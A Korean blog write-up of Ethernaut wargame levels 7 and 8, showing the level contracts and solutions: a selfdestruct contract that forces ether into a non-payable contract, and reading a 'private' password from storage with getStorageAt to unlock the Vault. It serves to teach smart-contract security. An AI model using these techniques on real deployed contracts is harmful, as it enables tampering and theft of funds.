Ethnaut을 통한 컨트랙트 취약점 공부 (7~8번)

Knave·2021년 8월 13일
0

Ethnaut

목록 보기
3/4

7. Force

컨트랙트의 밸런스를 증가시키는 문제

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

생성시에 payable 속성이 부여되지 않은 컨트랙트여도 몇가지의 방법을 통해 이더를 컨트랙트로 전송하고 컨트랙트 안에 이더를 담아서 컨트랙트의 밸런스를 증가시킬 수 있다.

풀이

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

contract donation  {
    constructor() public payable {}
    
    fallback () external payable {}
    
    function attack() public {
        selfdestruct(0x9e2dF456f25aFB1aC346a68303A61CF4A1257Ce0);
    }
}

※ selfdestruct

위와 같이 donation이라는 새로운 컨트랙트를 만들고, constructor 속성을 통해 컨트랙트 배포시 안에 이더를 담아도 되고, 배포후 컨트랙트 주소로 fallback함수를 실행시켜서 이더를 담아줘도 된다. 어떠한 방식으로든 donation 컨트랙트의 밸런스를 증가시켜놓고, attack 함수를 실행하면, attack함수에 transfer기능이 없어도 자동으로 컨트랙트가 파괴됨과 동시에 안에 남아있던 밸런스는 모두 지정한 주소로 이동되게 된다. payable 속성이 없는 컨트랙트에도 이더를 전송할 수 있고 transfer도 필요없다는 특징이 있지만, selfdestruct를 사용하고 나면 해당 컨트랙트의 기능은 중지되므로 신중히 다뤄야한다.

만약 실무에서 개발과정에서 서비스를 중지해야하고 해당 컨트랙트 안에 있는 이더를 안전히 옮기고자 할 경우, selfdestruct 속성을 사용하겠지만, 이러한 경우 위와 같이 public 속성으로 하면 안되고, 사용권한도 개발측의 일부에게 정확히 지정해놓아야한다. 이러한 설정이 안되어있을경우 서비스가 타인에 의해 강제중지되고, 이더 또한 탈취 당할수 있다.

8. Vault

컨트랙트에 설정된 변수의 값을 읽어오는 문제

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

web3 함수 getStorageAt 사용

사용법 = Web3.eth.getStorageAt

풀이

파란부분이 Password이다.

※ getStorageAt 함수

getStorageAt이라는 web3함수를 통해 컨트랙트에 설정되어 있는 변수를 가져올 수 있다.

형식은 web3.eth.getStorageAt("주소", 인덱스) 형식을 갖는데, 위의 경우 컨트랙트의 주소를 입력하고, 인덱스는 0이 locked 변수, 1이 password 변수이기 때문에 1을 입력하여 기존에 설정된 암호를 가져올 수 있다. 가져온 암호는 리믹스를 통해 입력해도 되고, 이더너트 콘솔창에

await contract.unlock("암호")

을 입력하면 locked 변수가 false로 변한것을 확인 할 수 있다.

생성자 입장에서는 컨트랙트 배포시 password 변수를 private으로 선언하면서 외부로부터의 접근을 막고자 했지만, web3함수를 사용하여 손쉽게 정보를 읽을 수 있기때문에, 보안이 유지 되지 않았다.

컨트랙트의 배포나, 사용의 과정에서는 대부분의 데이터 이동이 트랜잭션으로 남기때문에 암호나 보안과 관련된 변수,내용을 그대로 올리는 것은 안전성 측면에서 취약점이 될 수 있다.

profile
Hello

0개의 댓글